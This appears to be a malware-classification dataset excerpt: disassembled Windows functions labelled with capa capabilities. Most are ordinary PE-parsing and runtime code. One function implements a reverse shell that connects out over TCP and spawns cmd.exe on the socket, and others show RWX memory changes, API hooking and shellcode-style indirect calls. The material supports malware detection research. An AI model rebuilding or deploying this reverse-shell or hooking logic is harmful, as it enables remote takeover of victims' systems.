joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14042d300
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.140421af0
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x14042d3a1
cmp ebx, dword [rsp + 0x30]
je 0x14042d39a
test esi, esi
je 0x14042d39a
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x14042d375
sub r8w, 0x61
cmp r8w, 0x19
ja 0x14042d382
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x14042d35f
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x14042d386
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x14042d3a3
mov eax, 1
jmp 0x14042d3a3
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x14042f68c
Capabilities:
Get disk information

Disassembly:
push rbx
sub rsp, 0x30
mov rax, qword [0x1405ec140]
xor rax, rsp
mov qword [rsp + 0x28], rax
cmp ecx, 0x1a
jbe 0x14042f6d6
call fcn.14040d2fc
mov dword [rax], reloc.WS2_32.dll_ntohs
call fcn.14040d31c
mov dword [rax], reloc.WS2_32.dll_listen
call fcn.140406a0c
xor eax, eax
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.1403ff380
add rsp, 0x30
pop rbx
ret
xor ebx, ebx
test ecx, ecx
jne 0x14042f6e1
lea eax, [rbx + 1]
jmp 0x14042f6c3
add cx, 0x40
mov dword [rsp + 0x22], 0x5c003a
mov word [rsp + 0x20], cx
lea rcx, [rsp + 0x20]
mov word [rsp + 0x26], bx
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
test eax, eax
je 0x14042f6c1
cmp eax, 1
setne bl
mov eax, ebx
jmp 0x14042f6c3
Function at 0x14043008c
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.14040d4fc
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x140430116
cmp byte [rbp - 0x21], r15b
je 0x140430111
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x14043014c
call fcn.1404226d8
test eax, eax
jne 0x140430138
cmp byte [rbp - 0x21], r15b
je 0x140430130
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x14043014c
cmp byte [rbp - 0x21], r15b
je 0x140430149
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.14041117c
test eax, eax
jne 0x1404301ec
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.14040d4fc
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14043018b
cmp byte [rbp - 0x21], r15b
je 0x1404301c0
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x1404301c0
call fcn.1404226d8
test eax, eax
jne 0x1404301ac
cmp byte [rbp - 0x21], r15b
je 0x1404301a5
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x1404301c0
cmp byte [rbp - 0x21], r15b
je 0x1404301bd
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.14041117c
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x1404301ec
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x1404301ef
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x1404301fd
mov rcx, rdi
call fcn.14042237c
cmp byte [rbp + 0x3f], r15b
je 0x14043020c
mov rcx, qword [rbp + 0x27]
call fcn.14042237c
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret

Function at 0x140430fd0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140430ff8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140430ff8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x180001060
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
sub rsp, 0x58
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x40], rax
cmp edx, 1
jne 0x180001211
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x50], rdi
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rcx, str.Winmm.dll
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [0x1800042e8]
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [0x1800042f8]
mov rcx, rdi
mov qword [0x180006708], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.timeGetTime
mov rcx, rbx
mov qword [0x180006700], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [0x180004318]
mov rcx, rdi
mov qword [0x1800066f8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rsp + 0x38]
mov qword [0x1800066f0], rax
call rax
cmp dword [0x180006744], 0
mov rax, qword [rsp + 0x38]
movsd xmm0, qword [0x180004350]
movsd qword [0x180006048], xmm0
mov qword [0x180006038], rax
mov qword [0x180006040], rax
jne 0x1800011b6
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ecx, eax
xor eax, eax
lock cmpxchg dword [0x180006744], ecx
jne 0x1800011b6
mov rbx, qword [0x180006758]
xor edi, edi
mov qword [0x180006768], rdi
mov qword [0x180006760], rdi
mov qword [0x180006750], rdi
test rbx, rbx
je 0x1800011b0
nop dword [rax]
nop word [rax + rax]
lea r9, [rsp + 0x30]
mov edx, 0x10000
mov r8d, 0x40
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1800011a8
mov rbx, qword [rbx + 8]
test rbx, rbx
jne 0x180001180
jmp 0x1800011b0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov dword [0x180006740], edi
lea rdx, [0x180001380]
lea rcx, [0x180006708]
call fcn.180001fd0
lea rdx, [0x1800013b0]
lea rcx, [0x180006700]
call fcn.180001fd0
lea rdx, [0x180001380]
lea rcx, [0x1800066f8]
call fcn.180001fd0
lea rdx, [0x180001430]
lea rcx, [0x1800066f0]
call fcn.180001fd0
call fcn.180001c20
mov rdi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x68]
mov eax, 1
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.180002a50
add rsp, 0x58
ret

Function at 0x1800014a0
Capabilities:
Parse pe header

Disassembly:
push rbx
sub rsp, 0x50
mov rbx, rdx
mov r8d, 0x30
lea rdx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
nop
mov eax, 0x5a4d
mov rcx, qword [rsp + 0x28]
cmp word [rcx], ax
je 0x1800014ce
xor al, al
jmp 0x180001510
movsxd rdx, dword [rcx + 0x3c]
cmp dword [rdx + rcx], 0x4550
je 0x1800014df
xor al, al
jmp 0x180001510
mov r8d, dword [rdx + rcx + 0xe8]
lea rax, [r8 + rcx]
cmp rbx, rax
jb 0x180001506
mov eax, dword [rdx + rcx + 0xec]
add rax, r8
add rax, rcx
cmp rbx, rax
jae 0x180001506
mov al, 1
jmp 0x180001510
xor al, al
add rsp, 0x50
pop rbx
ret
add rsp, 0x50
pop rbx
ret
Function at 0x180001710
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
movzx eax, cx
mov rdi, rdx
mov rbx, rcx
test rax, rax
je 0x180001732
sub rbx, rax
add rbx, 0x10000
cmp rbx, rdi
jae 0x1800017ea
nop dword [rax + rax]
lea rax, [rbx - 0x70000000]
cmp rax, 0x10000000
ja 0x18000175b
add rbx, 0x8000000
jmp 0x1800017e1
xorps xmm0, xmm0
lea rdx, [rsp + 0x20]
mov r8d, 0x30
mov rcx, rbx
movups xmmword [rsp + 0x20], xmm0
movups xmmword [rsp + 0x30], xmm0
movups xmmword [rsp + 0x40], xmm0
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1800017ea
cmp dword [rsp + 0x40], 0x10000
mov rcx, qword [rsp + 0x38]
jne 0x1800017c6
cmp rcx, 0x10000
jb 0x1800017c6
mov edx, 0x10000
mov r9d, 0x40
mov r8d, 0x3000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
jne 0x1800017ec
add rbx, 0x10000
jmp 0x1800017e1
mov rbx, qword [rsp + 0x20]
add rbx, rcx
movzx ecx, bx
test rcx, rcx
je 0x1800017e1
mov eax, 0x10000
sub rax, rcx
add rbx, rax
cmp rbx, rdi
jb 0x180001740
xor eax, eax
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret

Function at 0x180001800
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
add rdx, 0xffffffffffff0000
mov rdi, rcx
movzx eax, dx
mov rbx, rdx
sub rbx, rax
test rax, rax
cmove rbx, rdx
cmp rbx, rcx
jbe 0x1800018d8
nop dword [rax]
lea rax, [rbx - 0x70000000]
cmp rax, 0x10000000
ja 0x18000184b
sub rbx, 0x8000000
jmp 0x1800018cf
xorps xmm0, xmm0
lea rdx, [rsp + 0x20]
mov r8d, 0x30
mov rcx, rbx
movups xmmword [rsp + 0x20], xmm0
movups xmmword [rsp + 0x30], xmm0
movups xmmword [rsp + 0x40], xmm0
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1800018d8
cmp dword [rsp + 0x40], 0x10000
jne 0x1800018b3
cmp qword [rsp + 0x38], 0x10000
jb 0x1800018b3
mov edx, 0x10000
mov r9d, 0x40
mov r8d, 0x3000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
jne 0x1800018da
sub rbx, 0x10000
jmp 0x1800018cf
mov rcx, qword [rsp + 0x28]
add rcx, 0xffffffffffff0000
movzx eax, cx
mov rbx, rcx
sub rbx, rax
test rax, rax
cmove rbx, rcx
cmp rbx, rdi
ja 0x180001830
xor eax, eax
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret
Function at 0x1800018f0
Capabilities:
Hook routines via microsoft detours

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x20
lea rdi, [rcx - 0x7ff80000]
mov rbx, rcx
cmp rcx, 0x7ff80000
ja 0x180001912
mov edi, 0x80000
mov qword [rsp + 0x38], rsi
lea rsi, [rcx + 0x7ff80000]
cmp rbx, 0xffffffff80000000
jb 0x18000192e
mov rsi, 0xfffffffffff80000
movzx eax, byte [rcx]
cmp al, 0xff
jne 0x180001945
cmp byte [rcx + 1], 0x25
jne 0x180001989
movsxd rax, dword [rcx + 2]
add rcx, 6
jmp 0x180001951
cmp al, 0xe9
jne 0x180001989
movsxd rax, dword [rcx + 1]
add rcx, 5
add rcx, rax
cmp rcx, rbx
jae 0x180001974
cmp rcx, 0xffffffff80000000
jae 0x18000196b
lea rsi, [rcx + 0x7ff80000]
jmp 0x180001989
mov rsi, 0xfffffffffff80000
jmp 0x180001989
lea rdi, [rcx - 0x7ff80000]
cmp rcx, 0x7ff80000
ja 0x180001989
mov edi, 0x80000
mov rdx, qword [0x180006748]
mov rax, qword [0x180006758]
mov qword [rsp + 0x30], rbp
test rdx, rdx
jne 0x1800019b0
test rax, rax
je 0x1800019c7
mov rdx, rax
mov qword [0x180006748], rax
mov rcx, qword [rdx + 0x10]
test rcx, rcx
je 0x1800019c7
cmp rcx, rdi
jb 0x1800019c7
cmp rcx, rsi
jbe 0x180001b1a
mov qword [0x180006748], rax
mov rdx, rax
test rax, rax
je 0x180001a12
mov rcx, rax
nop dword [rax]
test rax, rax
je 0x1800019fc
mov rax, qword [rcx + 0x10]
test rax, rax
je 0x1800019fc
cmp rax, rdi
jb 0x1800019fc
cmp rax, rsi
jbe 0x180001b1a
mov rdx, qword [rdx + 8]
mov qword [0x180006748], rdx
mov rcx, rdx
mov rax, rdx
test rdx, rdx
jne 0x1800019e0
movzx eax, bx
sub rbx, rax
cmp rbx, 0x40000000
jbe 0x180001a3c
lea rdx, [rbx - 0x40000000]
mov rcx, rdi
call fcn.180001800
mov rdx, rax
test rax, rax
jne 0x180001ac8
movabs rbp, 0xffffffff40000000
cmp rbx, rbp
jae 0x180001a62
lea rcx, [rbx + 0x40000000]
mov rdx, rsi
call fcn.180001710
mov rdx, rax
test rax, rax
jne 0x180001ac8
cmp rbx, 0x40000000
jbe 0x180001a82
lea rcx, [rbx - 0x40000000]
mov rdx, rbx
call fcn.180001710
mov rdx, rax
test rax, rax
jne 0x180001ac8
cmp rbx, rbp
jae 0x180001a9e
lea rdx, [rbx + 0x40000000]
mov rcx, rbx
call fcn.180001800
mov rdx, rax
test rax, rax
jne 0x180001ac8
mov rdx, rbx
mov rcx, rdi
call fcn.180001800
mov rdx, rax
test rax, rax
jne 0x180001ac8
mov rdx, rsi
mov rcx, rbx
call fcn.180001710
mov rdx, rax
test rax, rax
je 0x180001b51
mov dword [rdx], 0x52727464
lea rcx, [rdx + 0xffa8]
xor r8d, r8d
mov qword [0x180006748], rdx
mov qword [rdx + 0x10], r8
mov r9d, 0x2a7
mov rax, qword [0x180006758]
mov qword [rdx + 8], rax
lea rax, [rdx + 0xff60]
mov qword [0x180006758], rdx
mov qword [rcx], r8
lea rcx, [rcx - 0x60]
mov r8, rax
sub rax, 0x60
sub r9, 1
jne 0x180001b02
mov qword [rdx + 0x10], r8
mov rax, qword [rdx + 0x10]
cmp rax, rdi
jb 0x180001b51
cmp rax, rsi
ja 0x180001b51
mov rcx, qword [rax + 0x48]
movdqa xmm0, xmmword [0x180004360]
mov qword [rdx + 0x10], rcx
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x30], xmm0
movups xmmword [rax + 0x40], xmm0
movups xmmword [rax + 0x50], xmm0
jmp 0x180001b53
xor eax, eax
mov rsi, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140453a72
Capabilities:
Encode data using xor

Disassembly:
add r8, 0xc
jmp 0x140462193
xor eax, eax
jmp 0x140475cd1
test rbx, rbx
push 0xffffffff968f4d8f
lea rsp, [rsp + 0x10]
je 0x140475d29
mov r10d, 0x40b2aeaa
lea r10, [0x1404745f0]
push 0xffffffffdb0c4591
movzx r11d, byte [rsi]
xor r11d, eax
and r11d, 0xff
mov r11d, dword [r10 + r11*4]
shr eax, 8
push 0x662f7983
xor eax, r11d
inc rsi
xor eax, 0x6188968b
dec rbx
lea rsp, [rsp + 0x10]
jne 0x140475cf1
not eax
call fcn.140450f36
mov ebx, 0x163ac8b3
mov rax, qword [rdi + rbx*4 - 0x58eb22cc]
call fcn.140483441
Function at 0x1400014d2
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create process on windows
Create tcp socket
Initialize winsock library

Disassembly:
push rbp
sub rsp, 0x6a0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x618], 0xffffffffffffffff
lea rax, [rbp + 0x470]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
mov r8d, 6
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov qword [rbp + 0x618], rax
cmp qword [rbp + 0x618], 0xffffffffffffffff
jne 0x14000153d
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
jmp 0x1400016e8
mov rax, qword [section..data]
mov rcx, rax
call sym.decode_char_const_
mov qword [rbp + 0x610], rax
mov rax, qword [0x140003008]
mov rcx, rax
call sym.decode_char_const_
mov rcx, rax
call sym.atoi
mov dword [rbp + 0x60c], eax
mov word [rbp + 0x460], 2
mov rax, qword [rbp + 0x610]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [rbp + 0x464], eax
mov eax, dword [rbp + 0x60c]
movzx eax, ax
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0x462], ax
lea rdx, [rbp + 0x460]
mov rax, qword [rbp + 0x618]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
cmp eax, 0xffffffff
sete al
test al, al
je 0x1400015f8
mov rax, qword [rbp + 0x618]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
jmp 0x1400016e8
lea rax, [rbp - 0x10]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp - 0x10], 0x68
mov dword [rbp + 0x2c], 0x100
mov rax, qword [rbp + 0x618]
mov qword [rbp + 0x50], rax
mov rax, qword [rbp + 0x50]
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x48]
mov qword [rbp + 0x40], rax
lea rax, [rbp - 0x30]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, [rbp - 0x30]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
lea rax, str.cmd.exe
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov rax, qword [rbp - 0x30]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0x618]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov rax, qword [rbp + 0x610]
mov rcx, rax
call sym.free
nop
add rsp, 0x6a0
pop rbp
ret

Function at 0x140001a10
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x140001a80
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400070a4]
mov rbx, rcx
test esi, esi
jle 0x140001bb0
mov rax, qword [0x1400070a8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001acb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001b55
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001ab0
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x140001bd2
mov rax, qword [0x1400070a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400070a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001bb7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x140001b4e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x140001b60
add dword [0x1400070a4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400070a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001b4e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140001ad8
mov rax, qword [0x1400070a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002160
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140007100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400070e0]
test rbx, rbx
je 0x1400021bc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x1400021b3
test eax, eax
jne 0x1400021b3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002198
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x1400023d0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400023e8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1400023f0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x140002400
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x14000244d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x140002444
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x14000244f
add rax, 0x28
cmp rax, r9
jne 0x140002430
xor eax, eax
ret

Function at 0x140002450
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x1400024e0
mov rdx, qword [0x1400043b0]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x1400024ce
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x1400024ce
cmp word [rax + 0x18], 0x20b
jne 0x1400024ce
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x1400024e0
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x1400024b9
add rbx, 0x28
cmp rbx, rdi
je 0x1400024e0
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x1400024b0
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x1400024f0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400043b0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002510
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002518
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002510
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000256d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002564
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002510
add rax, 0x28
cmp rax, r9
jne 0x140002550
xor eax, eax
ret

Function at 0x140002570
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400043b0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000258f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002598
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000258f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x1400025b0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x1400043b0]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x1400025d0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x1400025d8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x1400025d0
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x140002620
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140002617
test rcx, rcx
je 0x1400025d0
sub rcx, 1
add rax, 0x28
cmp rdx, rax
jne 0x140002608
xor eax, eax
ret
Function at 0x140002630
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400043b0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000264f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002658
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002670
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400043b0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002690
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002698
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002690
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x140002690
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x1400026e4
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x1400026f0
add rdx, 0x28
cmp rdx, r9
jne 0x1400026d0
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140002700
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x1400043b0]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140002722
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
